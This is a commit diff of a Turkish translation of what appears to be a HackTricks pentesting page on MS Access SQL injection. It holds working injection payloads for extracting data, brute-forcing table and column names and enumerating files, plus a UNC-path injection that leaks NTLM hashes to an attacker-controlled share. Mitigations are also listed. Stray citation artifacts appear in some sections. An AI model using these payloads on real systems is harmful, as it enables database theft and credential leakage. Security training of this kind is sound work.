Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:20 +00:00
parent a2a55ad6eb
commit 4ab7af30d4

View File

@ -4,7 +4,7 @@
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
@ -27,7 +27,7 @@ Eğer bu çalışmıyorsa, sorgunun sözdizimini her zaman düzeltebilirsiniz:
```
### Stacked Queries
Desteklenmiyorlar.
Desteklenmiyor.
### LIMIT
@ -39,7 +39,7 @@ Just like TOP you can use **`LAST`** which will get the **satırları sonundan**
## UNION Sorguları/Alt sorgular
Bir SQLi'de genellikle diğer tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini** gerektirir.\
Bir SQLi'de genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini** gerektirir.\
Bu nedenle, bir `UNION SELECT` veya `UNION ALL SELECT` veya bir koşul içinde parantez içindeki bir `SELECT` çalıştırmak istiyorsanız, her zaman **geçerli bir tablo adı ile bir `FROM` belirtmeniz gerekir**.\
Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
```sql
@ -48,11 +48,11 @@ Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
### Chaining equals + Substring
> [!WARNING]
> Bu, mevcut tablonun değerlerini tablonun adını bilmeden dışa aktarmanıza olanak tanır.
> Bu, mevcut tablonun değerlerini tablonun adını bilmeden dışa aktarmanıza olanak tanıyacaktır.
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacağından bunu kötüye kullanabiliriz.
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacaktır ve bunu kötüye kullanabiliriz.
Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir **sütun adının username** olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan bu. Chaining equals tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **Mid** fonksiyonunu kullanarak alt dizeleri elde etmek için potansiyel olarak bir **boolean injection** ile içerik dışa aktarabilirsiniz.
Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir **sütun adının username** olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan budur. Zincirleme eşitlik tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **`Mid`** fonksiyonunu kullanarak alt dizeleri elde etmek için potansiyel olarak içerik dışa aktarabilirsiniz.
```sql
'=(Mid(username,1,3)='adm')='
```
@ -62,28 +62,28 @@ Eğer **tablonun adını** ve **dökülecek sütunu** biliyorsanız, `Mid`, `LAS
```
_Feel free to check this in the online playground._
### Tablo İsimlerini Brute-force Etme
### Brute-forcing Tables names
Chaining equals tekniğini kullanarak, **tablo isimlerini brute-force** etmek için şöyle bir şey yapabilirsiniz:
Chaining equals tekniğini kullanarak **tablo adlarını brute force** etmek için şunları kullanabilirsiniz:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Ayrıca daha geleneksel bir yol da kullanabilirsiniz:
Aynı zamanda daha geleneksel bir yol da kullanabilirsiniz:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
- Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste bulunmaktadır.
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste var.
### Sütun adlarını Brute-Force ile Bulma
### Brute-Forcing Sütun Adları
Mevcut sütun adlarını **brute-force** yöntemiyle eşitlik zinciri hilesi ile bulabilirsiniz:
Mevcut sütun adlarını **brute-force** etmek için eşit zincirleme hilesini kullanabilirsiniz:
```sql
'=column_name='
```
Veya **group by** ile:
Ya da **group by** ile:
```sql
-1' GROUP BY column_name%00
```
@ -95,15 +95,25 @@ Veya **farklı bir tablonun** sütun adlarını brute-force ile bulabilirsiniz:
```
### Veri Dökümü
Zaten [**eşitleri zincirleme tekniği**](ms-access-sql-injection.md#chaining-equals-+-substring) **ile mevcut ve diğer tablolardan veri dökme** konusunu tartıştık. Ancak başka yollar da var:
Zaten [**eşit zincirleme tekniği**](ms-access-sql-injection.md#chaining-equals-+-substring) **ile mevcut ve diğer tablolardan veri dökümünü** tartıştık. Ancak başka yollar da var:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Kısacası, sorgu bir “if-then” ifadesi kullanarak başarı durumunda “200 OK” veya aksi takdirde “500 Internal Error” tetikler. TOP 10 operatöründen faydalanarak, ilk on sonucu seçmek mümkündür. Ardından LAST kullanımı, yalnızca 10. tuple'ı dikkate almayı sağlar. Bu değerde, MID operatörünü kullanarak basit bir karakter karşılaştırması yapmak mümkündür. MID ve TOP'un indeksini uygun şekilde değiştirerek, “username” alanının içeriğini tüm satırlar için dökebiliriz.
### Zaman Tabanlı
### Zaman Tabanlı (Kör) Hileler
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL kendisi **yerel** bir `SLEEP()` veya `WAITFOR` fonksiyonu sunmamaktadır, bu nedenle geleneksel zaman tabanlı kör enjeksiyonlar sınırlıdır. Ancak, motoru **yavaş veya yanıt vermeyen bir ağ kaynağına erişmeye zorlayarak** ölçülebilir bir gecikme ekleyebilirsiniz. Motor, sonucu döndürmeden önce dosyayı açmaya çalışacağı için, HTTP yanıt süresi saldırganın kontrolündeki ana bilgisayara gidiş-dönüş gecikmesini yansıtır.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
UNC yolunu şu şekilde ayarlayın:
* yüksek gecikme bağlantısı arkasındaki bir SMB paylaşımına
* `SYN-ACK` sonrasında TCP el sıkışmasını düşüren bir ana bilgisayara
* bir güvenlik duvarı sinkhole'una
Uzak arama tarafından eklenen ekstra saniyeler, boolean koşulları için bir **out-of-band zaman kehaneti** olarak kullanılabilir (örneğin, yalnızca enjekte edilen koşul doğru olduğunda yavaş bir yol seçin). Microsoft, uzaktan veritabanı davranışını ve ilgili kayıt defteri kill-switch'ini KB5002984'te belgeler. citeturn1search0
### Diğer İlginç Fonksiyonlar
@ -132,11 +142,11 @@ Ancak, `MSysObjects` tablosunu okuma erişiminiz olmadığında SQL Enjeksiyonla
### Web Kök Dizin Tam Yolu
**Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir**. Uygulama hataları tamamen gizlenmemişse, dizin yolu, var olmayan bir veritabanından veri seçmeye çalışarak ortaya çıkarılabilir.
**Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir**. Uygulama hataları tamamen gizlenmemişse, mevcut olmayan bir veritabanından veri seçmeye çalışarak dizin yolu ortaya çıkarılabilir.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access, **web dizin tam yolunu içeren bir hata mesajı** ile yanıt verir.
MS Access, **web dizininin tam yolunu içeren bir hata mesajı** ile yanıt verir.
### Dosya Sayımı
@ -144,7 +154,7 @@ Aşağıdaki saldırı vektörü, **uzaktaki dosya sisteminde bir dosyanın varl
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesi belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesini belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
@ -154,7 +164,38 @@ Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesi belirtme
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Burada **name\[i] bir .mdb dosya adıdır** ve **realTable, veritabanı içinde mevcut bir tablodur**. MS Access her zaman bir hata mesajı tetikleyecek olsa da, geçersiz bir dosya adı ile geçerli bir .mdb dosya adını ayırt etmek mümkündür.
Burada **name[i] bir .mdb dosya adıdır** ve **realTable, veritabanı içinde mevcut bir tablodur**. MS Access her zaman bir hata mesajı tetikleyecek olsa da, geçersiz bir dosya adı ile geçerli bir .mdb dosya adı arasında ayrım yapmak mümkündür.
### Uzaktan Veritabanı Erişimi & NTLM Kimlik Bilgisi Hırsızlığı (2023)
Jet 4.0'dan itibaren her sorgu, `IN '<path>'` ifadesi aracılığıyla *farklı* bir `.mdb/.accdb` dosyasında bulunan bir tabloyu referans alabilir:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Eğer kullanıcı girişi **IN** (veya `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` çağrısının) sonrasına eklenirse, bir saldırgan kontrol ettiği bir ana bilgisayara işaret eden bir **UNC yolu** belirtebilir. Motor:
1. uzak veritabanını açmak için SMB / HTTP üzerinden kimlik doğrulamayı deneyecektir;
2. web sunucusunun **NTLM kimlik bilgilerini** sızdıracaktır (zorunlu kimlik doğrulama);
3. uzak dosyayı ayrıştıracaktır hatalı veya kötü niyetli bir veritabanı, birden fazla kez yamanmış Jet/ACE bellek bozulma hatalarını tetikleyebilir (örneğin, CVE-2021-28455).
Pratik enjeksiyon örneği:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Etkisi:
* Net-NTLMv2 hash'lerinin dışarıdan sızdırılması (relay veya çevrimdışı kırma için kullanılabilir).
* Yeni bir Jet/ACE ayrıştırıcı hatası istismar edilirse potansiyel uzaktan kod yürütme.
Hafifletmeler (eski Classic ASP uygulamaları için bile önerilir):
* `HKLM\Software\Microsoft\Jet\4.0\Engines` altında `AllowQueryRemoteTables = 0` kayıt değerini ekleyin (ve eşdeğer ACE yolunda). Bu, Jet/ACE'nin `\\` ile başlayan uzak yolları reddetmesini zorlar.
* Ağ sınırında outbound SMB/WebDAV'yi engelleyin.
* Bir `IN` ifadesinin içinde yer alabilecek herhangi bir sorgu parçasını temizleyin / parametreleştirin.
Zorunlu kimlik doğrulama vektörü, 2023'te Check Point Research tarafından yeniden incelendi ve kayıt anahtarı yokken tamamen yamanmış Windows Server'da hala istismar edilebilir olduğunu kanıtladı. citeturn0search0
### .mdb Şifre Kırıcı
@ -163,5 +204,7 @@ Burada **name\[i] bir .mdb dosya adıdır** ve **realTable, veritabanı içinde
## Referanslar
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Jet/ACE'yi uzak tabloları engelleyecek şekilde yapılandırma](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Microsoft Access Bağlı Tablolarını NTLM Zorunlu Kimlik Doğrulama için İstismar Etme (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}